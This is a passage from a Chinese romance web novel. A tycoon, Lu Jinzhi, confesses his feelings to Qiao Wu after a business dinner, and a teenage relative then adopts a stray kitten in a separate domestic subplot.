看着温声细语,但对于道歉的话是一概不应不表态,说着一时情急,却也没有把那天把他家老四打成那样感到抱歉。 亏她是一点不吃,也不会让人觉得无礼。 而他之所以先让逆子道歉,就是想要看看陆尽之的态度,作为陆氏集团的掌权人,他是否能容忍一开始把话头插到比他地位低的人身上。 可全程对方都只是站在乔梧身边眼神都不歪一下,只有在听到乔梧说话时轻轻弯了下唇,一副任她所为的模样,摆明了乔梧在他这里不是一般人。 这下赖父心里有了底。 到了餐桌上,赖父一视同仁,既给让人给陆尽之倒酒,也没有落下过乔梧。 乔梧倒是没有劝着陆尽之要少喝。 应酬的酒桌就是这样,当对面的人跟你有利益往来时,喝酒必不可少。 赖父虽然没有直接开口提过任何商业上的事,但但凡以后要有合作就顿酒就不可避免,而陆尽之既然应邀前来,就像他说的,他有要弄明白的事,说明他知道对方的目的。 只要他没有表达出抗拒的意思,在不可控之前乔梧都不会干涉,她也会象征性的喝一点。 但她没想到最先干涉的会是陆尽之。 坐在她身边的人直接伸出拦住了过来倒酒的佣人,另一只手端起酒杯抬起来:“她受了惊,不便饮酒。” 桌上所有人都惊了一下。 老板给下属挡酒的,第一次见,这都不是另眼相待的事儿了,他这是要替她先喝了这一杯。 赖云娇轻轻抵住鼻尖咳了两声:“父亲,我不是跟您说过吗?乔梧还受伤了。” “是。”赖父反应过来,“是我考虑不周,你跟乔小姐更熟悉,酒局无聊,你可以带着乔小姐去家里转转,拍卖会不是没去成吗?家里也有很多藏品的。” 赖云娇就坐在乔梧身边,闻言朝她抬眉,压低声音说:“带你去把赖深喜欢那些东西拿走。” 乔梧看了旁边的陆尽之一眼,对方朝她微微颔首。 既然她已经确定过现场没有其他危险,也不用一直在这儿坐着,加上不想让陆尽之太顺心如意,得让他适时戒断,所以她站起身来:“失陪。” 跟赖云娇离开饭桌走到院子里,乔梧看到她抬起一只手竖起拇指。 “我以前以为你是吹嘘派。”没有其他人在,赖云娇声音就大了,“没想到你是写实派。” 乔梧也从陆尽之给自己挡酒的行为里才回过神来,无意识接话:“什么?” “青梅竹马,天生一对。”赖云娇笑意止都止不住,“真有你的。” “……我跟他真的只是朋友。” 赖云娇也没一定要争论这个,而是问:“那你知道我父亲把他邀请来还有一个打算吗?” 乔梧:“嗯?” 赖云娇指了指她自己,又指了指屋子里的人,两只手比了个心。 “……” 这倒是乔梧没想到的。 陆家没什么一定要联姻的规矩,毕竟当年的陆江跟老夫人认识的时候也是门不当户不对的,他们只靠自己。 更何况陆江也有自知之明,三个儿子没一个会听他的话。 老二都一声不吭出国,老三离家出走,老四考个试都要把自己摔断腿。 这真要让他们跟谁联姻,这家就真的永无宁日了。 乔梧没忍住笑了。 “啧。”看她这反应,赖云娇叹了口气,“看来你们真没什么。” 否则不会这么云淡风轻。 “本来也没什么。”乔梧想了想,诚恳地说,“不过如果你们两情相悦也不是不可以。” 毕竟男未婚女未嫁,两人都到了年龄,而且都很优秀。 “胡说八道什么?我不会因为情情爱爱阻挡我挣钱的脚步。”赖云娇觉得自己被侮辱了,就算那个陆尽之长得再天帅也不行。 她更憧憬养一个小白脸。 不会阻碍她向前走的脚步,还贴心可人儿。 “就算现在只有我和两个哥哥竞争,但父亲始终会把重心放在哥哥身上。”她冷声嘲讽,“先不说成了是给他们锦上添花,我也不愿意做我母亲那样的人。” 乔梧笑道:“不会的。” “什么不会?” “如果这件事真的发生,陆尽之不会让你成为那样的人。”乔梧温声说,“他会放手让你飞得更远。” 赖云娇眯眼:“你很了解他。” “可能有一点了。” 毕竟已经看过他这么多面。 “那你可小心。”赖云娇玩笑道,“我要是真的进了陆家门,是不会允许你这样的人留在陆家的。” “为什么?” “长得好又聪明,有能力有魄力,留下来给自己添堵?”赖云娇好奇地问:“陆家三个儿子,每一个都跟你差不多的年岁,长得也都很靓,跟你关系那么好,你真的一个都不心动吗?” 这事儿乔梧还真没想过,因为她对这几个人都没有其他杂念。 “太熟了。”她只想一想到那个画面就觉得很怪异,“我是看着他们长大的,他们跟我的弟弟一样。” 只有陆尽之跟她相差了几年,加上小时候他别扭的性格,所以没有太熟悉。 “不过你说得对。”乔梧说,“如果有这么一个人,的确会对我心存芥蒂,所以我不会在陆家待很久。” “你说话真让人心碎。” 此时的赖家餐厅里已经酒过三巡。 赖父看喝了好几杯酒的陆尽之依旧双目清明,赞叹道:“还是年轻人身体好。” 陆尽之挑了下唇,并没说什么。 虽然赖父对自己前两个儿子的能力都很满意,但对比陆尽之却依旧觉得少了些这种上位者的从容气度,他对陆尽之是越看越满意。 “听说陆总还没成家。” 这个话题对于陆尽之来说比较敏感,尤其是最近。 他难得起了几分兴致:“嗯。” “现在的年轻人总是喜欢先立业再成家,跟我那个三女儿一样。”赖父说,“她也是在国外长大的,跟你可能还有些共同话题,她叫赖云娇,就是跟乔小姐出去那个,一会儿她过来你们可以认识一下。” 陆尽之听出来他的意思了,这些年他身边想要给他介绍女孩子的人很多。 过去他从来不会放在心上。 但今天不一样。 他眼尾轻轻扬起,唇边笑意不减:“你没问完。” 赖父没听明白:“什么?” “一般这个问题还会跟后半句。”陆尽之缓缓道,“有没有女朋友。” 赖父心里有种不太好的预感,但话都说到这儿了,只好继续问下去:“那你有女朋友吗?” “没有。” “……” 那你为什么还要我问! 这话让人怎么接! 好在陆尽之并没有让他接话的意思,因为他很快又开了口:“但,有那么一个人了。” 赖父眼皮一跳:“什、什么人?” “应该是,想让她成为女朋友的人。” 饶是赖父这么大年纪,但还是第一次听到这种话。 这比起说“我有女朋友了”更让人震惊。 你直接说你有喜欢的人不就好了! 但听这意思你们又没在一起,你还要追,那你说出来干什么! 尽给人添堵! 等乔梧回来时,饭局已经散了,他们正在喝茶。 陆尽之侧对着她。 赖父:“回来了?” 闻声陆尽之转过头,那双有些淡漠的黑眸瞬间变得有了几分温度,他温声道:“回来了。” 这一刻乔梧忽然有点后悔,她不该离开的。 至少也得等他身边应该有个助理有个秘书的时候再走。 “时间不早了。”她这次主动走过去,轻声在他耳边询问,“事情谈完了吗?” “嗯。”陆尽之站起身,“该走了。” 要达到的目的也没达到,赖父也留不住人,便很快把他们送上车。 车里有淡淡的酒味。 陆尽之这几天都没睡好觉,喝了酒以后那些沉积的疲惫感都一点点涌上来,让他有点招架不住,合着眼休息了会儿。 直到车停在酒店门口,乔梧才出声喊醒睡着的陆尽之。 但她连喊了两声对方都没喊醒,晃着胳膊也没反应,她心里一跳,皱眉解开安全带往旁边倾身:“陆尽之?” 她紧张地望着那双眼睛,抬手拍了拍他的脸。 下一秒,她的手就被抓住了。 那双眼睛猝然睁开,带着些疲惫的笑意。 就是不像刚睡醒的。 没想到陆尽之也玩这种幼稚的游戏,她咬了咬牙,在他脸上又用力拍了一下,抽手出来下车。 陆尽之腿长,几步就走了上来与她并肩。 见他还是跟着自己回了房间,乔梧边打开门边说:“我给你订了房间,你把行李拿上,今晚自己回去睡。” “不去。” 乔梧搬出当初他给陆宣的那份说辞:“订都订了,不去浪费。” “那浪费吧。” “?” 陆尽之靠在玄关墙上,半垂着眼笑:“陆家还没拮据到一晚的房费出不起。” 乔梧回头看了他一眼,见他比起平时要多几分慵懒,眉眼间是遮都遮不住的疲惫。 “你喝醉了?” 她没见过陆尽 之喝醉的样子,但今晚明显比起那天的晚宴,他状态更要糟一点。 “嗯?”陆尽之尾音上扬,而后落下:“嗯。” 没有秘书在,乔梧也不好放他一个人这个状态回去,便走进去给酒店打电话,让他们送点解酒药过来,又倒了杯水。 回头一看,陆尽之还站在原来的位置,只不过他背靠这墙的动作变成了侧靠,目光一直在随着她动。 乔梧有点不合时宜地想,暖黄的顶灯照在他的头顶,这种死亡角度都没让他变丑。 “过来喝点水。”她把水放在沙发前。 这下陆尽之才像是找回一点目标,走过来接过她手里的水喝了一口,而后坐下。 乔梧看着他的动作,无声叹了口气。 她站在陆尽之面前:“如果累了可以跟我说。” 闻言陆尽之微微仰起头,像是没理解她的话。 乔梧想的是,一定是很重要的事才会让陆尽之这么疲惫了都要应酬,让他变成这个样子,至少在他回国后她就没见过了。 陆尽之说过她可以帮。 “怎么样?”她问,“你要确定的事,确定了吗?” 可陆尽之并没有回答,他只是维持着仰头的姿势,就那么专注地看着她。 几秒后忽然答非所问:“该换药了。” 乔梧:“?” 她还没反应过来,就被陆尽之往前一拽,两人瞬间转变了个位置。 那杯喝了一口的水被陆尽之放下,他单手按住乔梧的肩膀,像早上那样指尖按在纱布周围的胶带上。 乔梧想要起身:“不用换这么勤,我还没洗澡。” 现在换了一会儿不就废了? 可陆尽之根本没有给她拒绝的机会,喝醉以后的他比清醒时要更加强势,按着她的力道更加重了。 “没事。”他说,“等你洗完澡,可以再换一次。” “???” 她错愕的抬起头,可陆尽之已经俯身下来撕开了她额头上的胶带。 “更红了。” “胶带贴的。”乔梧不想跟醉鬼计较,“你快一点。” 陆尽之笑了声:“不行。” 他再次按住那几道泛红的痕迹,直到把周围的皮肤揉得跟那里一样红才堪堪满足。 这一次乔梧没有再挣扎,可他还是伸手将她的头轻轻抬起来,视线一点点从伤口的位置挪下去。 不同于早上,现在的乔梧戴上了眼镜,镜片折射出灯光,让他并不能很好的看清那双眼睛的里的神色。 所以他把那副眼镜摘了下来。 她的鼻梁被压出一道很浅很浅的痕迹,陆尽之盯着看了好一会儿。 乔梧微微眯起眼睛:“怎么,我的眼镜影响神医发挥了?” 陆尽之坦然应声:“嗯。” 他继续着动作,又过了一会儿,忽然说:“确定了。” 不可否认,感情是很复杂的事情。 人会对任何私有物有占有欲,比如他的房间。 也会对特定的人有特权,比如家里几条小狗,虽然不喜欢,但他会多几分容忍。 甚至于,心疼、爱护、嫉妒。 这些情绪也会在部分例外中产生。 但不可能会同时出现在同一个人身上。 所以他在这上面绕了很大的一个圈。 对于他来说乔梧无疑是特殊的,他也不知道什么时候过去那份惦记转变成了现在的无可挽回。 他来这一趟,是在意识到这些事后,带着目的去确认这些情绪同时出现在一个人身上时,会有什么样的结果。 还有最后一道。 也在今天早上得到了证实。 陆尽之的视线寸寸挪动,从她的伤口到她的眼睛、鼻尖、她的唇。 以及被他触碰到后被揉到发红的那片皮肤。 不止那里,他还想触碰到其他地方。 当对一个人产生以上反应时,或许还不足证明那是爱情。 但不止。 人的各种感情和本能欲望在同一个人身上得以体现。 这是情欲。 他对乔梧产生了情欲。 这是爱情。 也是他确定的事情。 姗姗来迟的答案让乔梧反应了几秒才意识到他说的是什么意思。 “那我要帮你什么?” 这个问题把陆尽之逗笑了,可他没有立刻回答,而是将新的纱布换上,把被他揉红的位置覆盖住。 换了一种视角看待眼前的人,连她这种一副公事公办的语气态度都会觉得很可爱了。 他放下东西,在没有杂物的那半边矮桌坐下,与乔梧面对面视线平齐。 在陆尽之过去的人生经历中,没有任何人能给他一个对待感情的标准答案,他只能按照自己的步骤来。 他觉得在任何事情发生之前,都要先说明。 “昨晚睡好了吗?”他温声问。 听他语气莫名郑重,乔梧也打起几分精神:“挺好的。” 仔细观察了一下她的眸子,陆尽之才轻轻弯唇。 “今天赖宗问我有没有成家。”他缓慢地说,“你知道的,我没有成家,也没有任何暧昧关系。” 原来真是要介绍女儿给他认识啊。 难道陆尽之要确定的事就是赖云娇的为人? 乔梧以为他是要找自己分析,所以她很中肯的说:“以我现在对赖云娇的了解,她是一个很优秀的人,也很有……” 陆尽之挑了下眉:“那你对自己的了解呢?” “我?” 乔梧愣了下。 陆尽之莞尔:“我告诉他,有这么一个人,我想要跟她发展关系,这次来想要确定的事,是对她的感情。” “……” 他刚才说过,他已经确定了。 乔梧觉得自己好像也喝了酒,不然为什么脑子怎么会这么木。 她不太想继续听陆尽之说下去。 所以她想要站起身:“我看看酒店怎么还没把药送过来。” 陆尽之没有拦她。 却在她站起身时,喊了她的名字:“乔梧。” 乔梧的脚莫名定在了原地。 她听见陆尽之问:“还要帮我吗?” “不行。”乔梧下意识回答。 可陆尽之又笑了:“那怎么办。” 乔梧忍不住垂眼看他,对方微微仰着头,原本看着有些醉意疲惫的眸子此时却清清明明还映着浅淡的笑。 “只有你能帮。”他说。 第68章 第六十八章我在吃醋 门铃声正好在这个时候响起,乔梧回过神:“你喝醉了。” 她打开门接过服务生手里的解酒药,嘴上说了声谢谢,但脑子依旧僵着。 陆尽之身边有什么人她最清楚,他来这一趟见了谁她也全程知晓,所以他要弄明白的事… 他说对他而言是好事,希望对她也是。 她还没有蠢到那种地步。 可她依旧不愿意相信,门被关上那一瞬间的声响将她的思绪拉了回来,她轻轻吸了一口气平复心情,然后神色自若地走回来。 陆尽之依旧坐在原来的位置上,保持着刚才那副笑吟吟的样子看着她。 “把药吃了。”乔梧说,“一会儿酒店会把房卡送来。” “我没醉。” “喝醉的人都会这么说。” 陆尽之看出来了她的逃避,也知道她心里清楚了刚才的话是什么意思,但是并没有再追赶着什么。 他伸手如她所愿将药接过去吃了,喝完杯子里的水后站起身来。 乔梧以为他要走了。 结果这人只是走到她面前站定,直勾勾地望着她:“那你就当我喝醉了,今晚说过的话明天我就不记得了。” 这顺从的反应让乔梧有些惊讶。 更是被这人的反复给弄得一头雾水,原本的忐忑和不安在这一刻全然被茫然给蒙蔽住。 然后她就听陆尽之慢悠悠道:“所以趁着药效起来前这段时间,我再多说一些。” “……你等下。” 陆尽之哪里肯听她的,话已经说到这里,就不会给她任何想要蒙混过去的机会。 “对于这件事我做过很多预想和假设,也推翻了很多错误答案, 所以我现在可以很确定地告诉你对你的感情不仅仅是朋友,我很喜欢你,是基于爱情和情欲的喜欢。” 虽然是第一次做这种事说这种话,但他完全不需要任何经验,因为这是他最直观的想法。 乔梧真的很后悔跟陆尽之学习什么所谓的看眼睛,以至于她现在一看到陆尽之的眼睛手都发麻。 她移开视线:“你这是吊桥效应。” 陆尽之闷笑一声:“你过去有感情经验吗?” “…没有。” 男人眸色中的笑意像是染了光华:“我二十七了。” “比你还大五岁。”他饶有兴致地说,“你对我感情的质疑没有任何依据。” 乔梧哑口无言。 她擅长很多事,唯独在这件事上没有任何发言权。 “不过没关系,你可以质疑。” 陆尽之又朝她走近了一步,将两人之间的距离再次拉近,方便他能更直观的观察对方。 他低声说:“现在你可以帮我的第一个忙,是别再把我当普通朋友对待,直接一点来说,我现在是喜欢你的人。” 乔梧起了一身的鸡皮疙瘩,她甚至想要打一个哆嗦来甩掉这种不自在感。 陆尽之不是沈延,也不是其他人,她好像做不到用以前那些拒绝人的手段来拒绝他。 “之前不是说不喜欢吗?”她憋了口气。 陆尽之回忆了一下,知道又是陆柠干的好事儿。 他认真思考,得到结论:“那时候的确算不上喜欢。” 那会儿他还不算太了解长大后的她,只是把她当成例外,但当一个人开始特殊的时候,事情总会慢慢偏移。 “不行。”乔梧还是这么说。 见她那么僵硬,没有以前那种从容感了,陆尽之更觉得心里发痒,他失笑:“我没指望今天就行。” 他今晚的诉求只有这么简单,就是要清楚地告诉她自己立场的转变而已。 “好了,药效起来了。”他温声说,“我去休息,明天醒来这些事都会忘掉,你该怎么还是怎么。” 乔梧:“???” 你忘掉?! 她没控制住自己的表情:“那我呢!” 陆尽之退开了两人之间的距离,丝毫没有一点自己语出惊人的自觉,和煦地说:“如果你也能忘掉的话。” “……” “抱歉。”陆尽之眼眸弯弯,“你今晚可能要睡不着了,但这种经历无可避免,你委屈忍忍,明天不用早起。” 乔梧现在是真的觉得荒唐,她第一次遇到人这样表白。 对方表白完当场就忘,还贱兮兮地跟她说她也可以忘。 这能忘?! 陆尽之真的,难怪陆柠说他每次笑起来准没好事儿。 他还很善解人意地说:“如果睡不着,你可以来找我。” 乔梧几乎是从牙缝里挤出几个字:“我睡得着。” “那更好了。”陆尽之笑道,“晚安。” 他没有再执着于要跟乔梧睡一个房间,而是打开门出去,一会儿酒店自然会来给他办理新房间入住。 才走出房间门,身后就传来砰的一声。 可见关门的人脾气有多大。 陆尽之低声笑了笑。 他不觉得有什么,如果乔梧对他今晚这番话毫无反应,那才是最糟糕的事。 总归她也是知道了。 在陆尽之面前表现得有多强硬,晚上乔梧在床上就怎么翻来覆去睡不着,她看着天花板思绪放空。 自己到底是哪里引起了陆尽之的注意? 如果是其他人她还能想方设法地纠正对方,可那是陆尽之。 他做任何事情之前都会有完全的准备和思考,不会冲动行事,正因为如此这也变成了很棘手的事。 没一会儿,她的手机响了。 拿起来一看,是陆尽之发来的消息:“睡不着可以给我发消息。” “……” 乔梧已读不回。 过了几分钟,手机又是一震震动。 陆尽之:“我睡不着。” 乔梧冷笑一声,打字:“你不睡着怎么忘掉?” 陆尽之:“忘掉什么?” 很好,已经开始装傻了。 乔梧懒得回他。 但她从来没想到陆尽之会是话那么多的一个人。 甚至不用等到她回答,对方也能自问自答。 陆尽之:“晚上喝了酒,不记得做了什么,有冒犯到你吗?” 陆尽之:“如果有,那很抱歉,是我情难自已。” 乔梧怒而打字:“你不是说不记得?” 这次对面回的不是文字,而是语音条。 男人含笑的声音在安静的夜里显得十分清晰:“喝了酒就能忘记的,叫感情吗?” 他说的只是忘记表白的事情而已。 乔梧不用面对面都能猜到此时的陆尽之是什么表情,她迅速把语音条关掉:“怎么不打字了?” 陆尽之:“亲口说比较郑重。” 他还想打视频呢,但想想的确会把人逼急了。 这次乔梧绞尽脑汁,愣是找不到任何回复的话,她也不愿意再跟陆尽之继续聊下去,因为根本猜不到对方下一步要做什么。 “睡了。” 发完这两个字以后她就把手机甩到一边。 也不知道是不是前两天睡太多了,她现在毫无睡意。 从前都没有出现过这种情况。 都怪陆尽之。 可她在黑暗里待了很久又忽然反应过来。 自己为什么要对陆尽之的表白有这么大反应?喜欢她的人也不缺这一个。 对沈延都能自若地添加微信,怎么跟陆尽之说几句话就不自在了? 她思考了会儿就找到了答案。 因为陆尽之跟其他男人不一样,她和他之间有过去的羁绊,有胜似于亲人的关系,所以她下意识认为自己跟陆尽之是不可能的,也从来没有把他列入过另一半的人选。 可事实上她跟陆尽之的确没有任何亲缘关系。 属于一个人的独处时间,乔梧迫使自己冷静下来认真想了想自己对于未来的打算。 工作,生活,家人,爱情。 以及抛开所有附加条件不谈,仅仅是陆尽之这个人。 她当初对沈延说过,她的爱情观很理想化,也不抱希望以后会遇到这么一个符合自己预期的人,所以对待感情的态度都是顺其自然。 排除开跟陆尽之在同一个屋檐下长大的关系,这个人显然现在是符合这个要求的,只不过她现在不喜欢对方而已。 可现在是陆尽之喜欢她,关她什么事? 选择权是在她手上。 这么一想,乔梧的思路瞬间豁然开朗。 要怎么做那是陆尽之该去烦恼的事情,她没有必要让自己陷入这种抉择里。 陆尽之的确做到了,从今天起,他在她眼里已经不仅仅是一个朋友,而是一个……喜欢她的朋友。 虽然还是有些荒唐,但乔梧已经劝服自己接受了现实,她又不能去左右别人的感情。 从固有思维走出来后,她还真放心随意地睡着了。 等到第二天醒来她才发现自己昨晚睡前好像没有吃药。 拿起手机,陆尽之昨晚给她发了个晚安后就没有再说什么,半个小时前又问她醒了没。 乔梧忽然觉得很爽。 昨晚他那么镇定自若地一通胡说把她脑子搅乱了,到头来是他自己没睡好,自作孽。 她问今天是几点的机票。 “你来定。” 紧接着又发来第二条:“我让酒店送了两份早餐,洗漱完过来吃饭?” 乔梧:“不去。” 陆尽之:“浪费。” 乔梧学着他昨晚的样子,拿起手机点开语音:“你可以打包路上吃。” 又说:“陆尽之,你要摆正一下自己追求者的位置,有点边界感。” 另一头沉静几秒后,只回复了一个“好”字。 乔梧舒心了。 她洗漱完后先是打电话叫了酒店的早餐,随后开始查看回去的机票。 陆尽之应该是不确定她几点能起来,所以一直没订。 规划了一下回去的时间,乔梧订完机票后门铃响了,她以为是早餐,没想到一打开门,外面推着餐车的人会是陆尽之。 她愣住。 陆尽之的确摆正了自己位置,所以他遵从了内心的选择,推着餐车过来了:“追求者现在想跟你一起吃早餐。” 乔梧:“……” 在她开口前,陆尽之又道:“酒店员工不会过来了。” 想都不用想,一定是他给人半路拦截了。 乔梧不想因为私事把人家无辜的员工喊来喊去,于是打开房门:“进来吧。” 见陆尽之穿着一身得体的西装推着餐车,怎么看怎么违和,乔梧忍不住笑道:“你就用这种手段啊陆尽之。” 陆尽之将早餐 摆好,转过身来笑道:“为达目的用点手段无伤大雅。” 他想了很多种乔梧的反应,却没料到她会接受这么良好,并且已经恢复了原本的状态。 好消息,她不排斥。 坏消息,她不排斥。 只是把他当做了跟其他人没什么区别的人。 正好,乔梧也要借这个机会跟他把话说清楚,她在陆尽之面前坐下,边吃边道:“我不希望这件事影响到我的正常工作,所以你不能告诉任何人,尤其是家里的人,如果被其他人发现了,我会把你踢出追求者的行列。” 她的工作性质特殊,这件事如果其他人知道,以后她跟陆尽之最终没有走到一起的话,会让大家的关系变得尴尬,也会影响到家里人对她的看法。 而且说实话,乔梧不敢保证要是其他人知道了会是什么后果。 想到这里她又皱了皱眉,家里还有另外两个同样依赖她的人,戒断工作要再加强一点才行。 陆尽之轻轻点头:“好。” 见他态度还不错,乔梧继续道:“如果我有任何觉得不舒服的地方,同样也会把你踢出去,但我在陆家的工作计划还有五年,所以最后我们要是不成,在我主动要求离开之前,你不能辞退我。” 至少要让她看到其他人走上正轨。 不成? 陆尽之笑了下:“好。” 他不可能会辞退她。 至于成不成,可能会有点难办。 他抬眸看着一本正经跟自己谈条件的人,觉得她在某些方面真是天真得可爱。 他耐心地问:“还有吗?” “没了。” “那该帮我第二个忙了。” 陆尽之放下餐具:“有择偶指南吗?” 乔梧:“?” 你在问什么奇怪的东西? 见她瞪圆了眼睛,陆尽之失笑:“霸总指南,豪门指南,和谐家庭指南,你有你的一套标准,难道对我没有标准?” “没有指向性谢谢。”乔梧纠正他的用词。 陆尽之不置可否,对他来说反正没差。 “谁追人还要找被追求者要攻略的?”乔梧没好气道,“你被扣分了。” “请问我的起始分是?” “零分。”乔梧面无表情地咬下一口鸡蛋,带着几分挑衅的味道,“现在负二十。” 陆尽之少见地愣了下,随即微微偏过头笑了。 “你笑什么。” “我以前一直没发现。”陆尽之笑完后转正看她,“你真的很可爱。” “……负四十。”- 乔梧订了下午的机票,由于她意外受伤,陆尽之在港区多待了两天,哪怕在酒店加班工作,现在也得回公司一趟,两人在机场分别。 她觉得这点陆尽之做得很好,就算被打乱了节奏他也会把乱了的地方拨正。 她刚跟司机说回陆宅,却忽然接到了陆柠的电话。 “乔梧。”另一头的陆柠听起来很紧张,“你回来了吗?” “嗯,怎么了?” 陆柠松了一口气,磕磕绊绊地说:“我想问问你,我能不能在家里养一只宠物。” “宠物?” “是一只很小的猫咪,我在学校里捡的。”陆柠说,“我把它送来宠物医院了,它特别小,很可怜。” 宠物医生看她只是一个小孩子,再三嘱咐说这种养这么小的猫猫要注意很多事情,如果真的要养需要家长的同意,家长来带走。 因为很多小孩子因为一时好奇把动物带走,到最后家长不同意动物也会被再次扔掉,又或者孩子好奇心得到满足了也会把动物抛弃。 所以需要家长去签领养书。 陆柠毫不犹豫就想到了乔梧。 乔梧没说好不好,而是先道:“地址给我。” 她很快就来到了宠物医院,没穿校服外套的陆柠坐在门口。 乔梧推门进去:“衣服呢?” 听见她的声音,原本有些焦急茫然的陆柠一下子就找到了主心骨,兴奋地站起来。 可在看到乔梧额头的纱布时顿时瞪大眼睛,垫着脚想去查看她的伤口:“你受伤了!” “不小心磕了一下。”乔梧没想让多余的人担心,握住她的手放下来,“不碍事。” 北城这边几乎没有秋天,才十一月底温度也很低,外面下车毛毛细雨。 哪怕宠物店里有空调,陆柠的手还是有点凉:“怎么回事?” “怕小猫冷,我把衣服给它了。”陆柠还是不放心,“真的没事吗?你看过医生了吗?” “还让你二叔看过了。” “噢。”陆柠放心了,“那的确没事了。” 二叔是不会允许他的特权受伤的。 她把在校门外遇到差点被车撞上的小猫,然后把猫猫带到医院的事说了一遍。 两眼怀着期待的光望向乔梧,比划着猫猫的大小:“医生说它还没足月,这么小不能一个人长大的,它需要人照顾,我可以带她回家吗?” 说着说着眼睛就有点红了。 乔梧心有点软。 这小孩自己都需要人照顾,也是自己长大的。 “可以。”她点头,“但有个前提。” “嗯嗯。” 乔梧以前没养过宠物,所以在来的路上现搜了一些关于养猫的常识,她温声说:“很小的猫猫每天需要手动喂食,很脆弱要认真呵护,长大一点后要教它上厕所,它可能会很闹腾弄坏你的一些东西,还可能会吵闹让你睡得不好,会掉毛需要好好打理,这些你都不介意吗?” 其实有点介意。 但陆柠想到那一小只孤零零的样子,忍了下来:“我会克服。” 乔梧只是把未来会遇到的难题先跟她说了,至少要让她心里有个底不要冲动行事。 她再次确定:“养了不能随便抛弃它,也不能丢给佣人,你要自己把医生说的所有注意事项记下来,自己照顾。” 陆柠立刻说:“我会的!” “好。”乔梧揉揉她的脑袋,“那就带回去吧。” 宠物医院里很多东西都是现成的,直接买了拎进后备箱就可以。 乔梧看到医生把小猫咪放到陆柠怀里,陆柠捧着自己的校服小心翼翼地抱着猫猫,脸上是从来没有过的谨慎和认真。 她笑了笑,将自己的外套脱下来搭在陆柠的肩膀上,回头在领养单上签了字。 回去的路上,陆柠嘴巴就没停过。 她摸着小猫咪的脑袋:“你现在有家啦,我的房间很大,床也很大,我们一起睡。” 又说:“我挣叔叔们的钱养你。” 乔梧回头看她一眼:“你还挺有经济头脑。” “是他们有钱。” 陆柠的卡还在停着,她花的钱都是叔叔们之前给的“买断费”,从某种意义上来说,就是花叔叔们的钱养猫猫。 “它现在是我的猫咪。”她激动地说,“我要给它取个名字。” 乔梧思考:“回去翻翻字典吧。” 她很怀疑以陆柠现在的语文水平起的名字。 “不用。”陆柠摇头,显然是早就想好了,“它叫呜呜。” 乔梧一愣,不由回头。 显然陆柠并不知道自己说了什么,牙牙学语的那些记忆也不可能存留到现在。 所以自然也不记得当初也是这么含含糊糊喊她的。 乔梧也不觉得这有什么,反而多了几分亲切感。 “好听吗?”陆柠问。 “嗯。”乔梧伸手摸了摸那只忽然有了家的小猫,“好听。” 陆柠高兴了,抱着小猫“呜呜”“呜呜”叫个不停。 乔梧安静地听着。 还生出了一种回到刚出生时忽然被一群陌生的人包围叫着她小梧、给了她一个家的错觉。 回到陆宅,她把自己的部分行李搬到了主宅其中一个空房间。 她父亲之所以有了自己的一栋小别墅是因为结了婚生了小孩,是陆江给他的结婚礼物。 在那之前为了工作方便,她父亲一直住在主宅的这个房间 里。 即便很久没人住,但佣人每天都会打扫。 虽然当时让陆柠记下来注意事项,但陆柠还是个需要每天上学的孩子,也还在长身体需要足够的睡眠,可这个时候的呜呜需要每晚起来看几次喂几次。 乔梧不会真的让陆柠耽误那么多时间,所以医生说的事她也记下来了。 这段时间她暂时住在这里,把小猫也养在这里,等到呜呜可以独立一点了,再送到陆柠房里去。 毕竟如果把呜呜带到她家去,陆柠回来过去看来来回回都不方便。 对此陆柠觉得不妥:“那你也要睡觉也要工作。” “我不用每天去公司。”乔梧说,“而且我是大人,我安排工作和休息的时间会比你更加合理,你去上学了也需要人照顾它不是吗?” 听完后陆柠瞬间就变得很自责了。 她没想到自己想要一只小猫,会带来这么多麻烦,还要麻烦别人。 她低声说:“对不起,我没想那么多。” “这些不是需要你担心的事。”乔梧示意她先去写作业,“一家人就是要互帮互助的。” 但陆柠却在她身边蹲了下来,接过她手里的东西:“现在我在家,我来吧,作业已经在学校写完了。” “不给你小叔检查了?” “他最近很忙,都要很晚才回来。”陆柠说,“好像是学校有什么比赛,所以我都在学校跟钟时夏写作业,他会帮我看。” 而且钟时夏不会骂人,也不会强迫她吃核桃,效率比陆应池要高很多。 “比赛?” 乔梧才说完话,身后的门就被人猛力推开,陆应池大喇喇站在门口:“陆柠,你带什么乱七八……” 看清和陆柠蹲在地毯上的人,陆应池立刻站直了很多:“乔梧?你什么时候回来的?” 他听说陆柠抱了个猫崽回来。 陆柠那小东西连来个月经都迷迷糊糊,能养活什么猫崽,不把猫崽捏死就不错了。 所以他才上来看了看。 没想到还能看到意外之喜。 前几天他手机被陆尽之抢走没来得及打电话给乔梧,后来发消息乔梧回复的时间线也很长,加上他很忙所以一直没有机会跟她说话。 现在就巴不得赶紧把自己的好消息告诉她,可他才走近,就发现乔梧额头上贴着纱布。 陆应池的脸色瞬间沉了下来,满眼都是风雨欲来的郁气,他快步走到乔梧面前蹲下,双手把她的脸捧起来死死盯着:“谁干的?!” 他弄死他! 乔梧最近对肢体接触特别敏感,往后仰去躲开他的手:“不小心磕的,多大个人了,别动手动脚。” “碰一碰怎么了?”陆应池收到了刺激,强行掰住她的脸,“陆宣都能靠你肩膀上,我连看看伤口都不行?” 乔梧皱眉:“陆应池。” 看到她冷下来的眼神,陆应池愣了愣,下意识收回手。 乔梧意识到必须要让他明白性别界限:“你对女同学也这样?” “当然不是!” “为什么?” “你都说了是女同学,我一个大男人碰她们干什么?” 乔梧好笑:“所以在你眼里我是男的?” “……” 陆应池噎了下。 “我也就比你的女同学大四岁。”乔梧扬眉,“现在知道为什么不能碰了吗?” 陆柠小声哔哔:“我们13岁的都知道除了打架不碰男同学。” “胡说八道什么。”陆应池下意识反驳,“我跟其他人又不一样。” 乔梧悠悠问:“你不是男的?” “当然不是!”陆应池有点暴躁。 他习惯了跟乔梧的亲密,所以一时之间根本就不愿意去理解为什么突然就要跟她男女有别不能触碰了。 “陆宣也不是女的!”他给自己找借口。 乔梧猜到可能是那天找事儿的赖深想办法给他看的,简单解释了几句:“他也不能碰,那天是意外,我跟他演戏呢。” 果然,陆应池一听注意力就被转移了,恨不得当场就飞过去把赖深扔海里:“又是那个逼!那天就应该当街把他扒光,让他身败名裂。” “你这两天是不是太忙了没看法制频道。”乔梧睨他一眼,“陆某。” “我看了!” 提到这个陆应池就很嘚瑟,迫不及待地说:“我那天不是答应你了?所以我最近跟同学在学校忙职业规划大赛的事儿,过两天周末还要在一起讨论讨论。” 这个比赛乔梧有听过,不同年级参赛方式不一样。 但对于大学生来说很有利于理清思路规划自己的未来。 “不错啊。”她轻笑,“加油。” “就这?” 陆应池疯狂暗示。 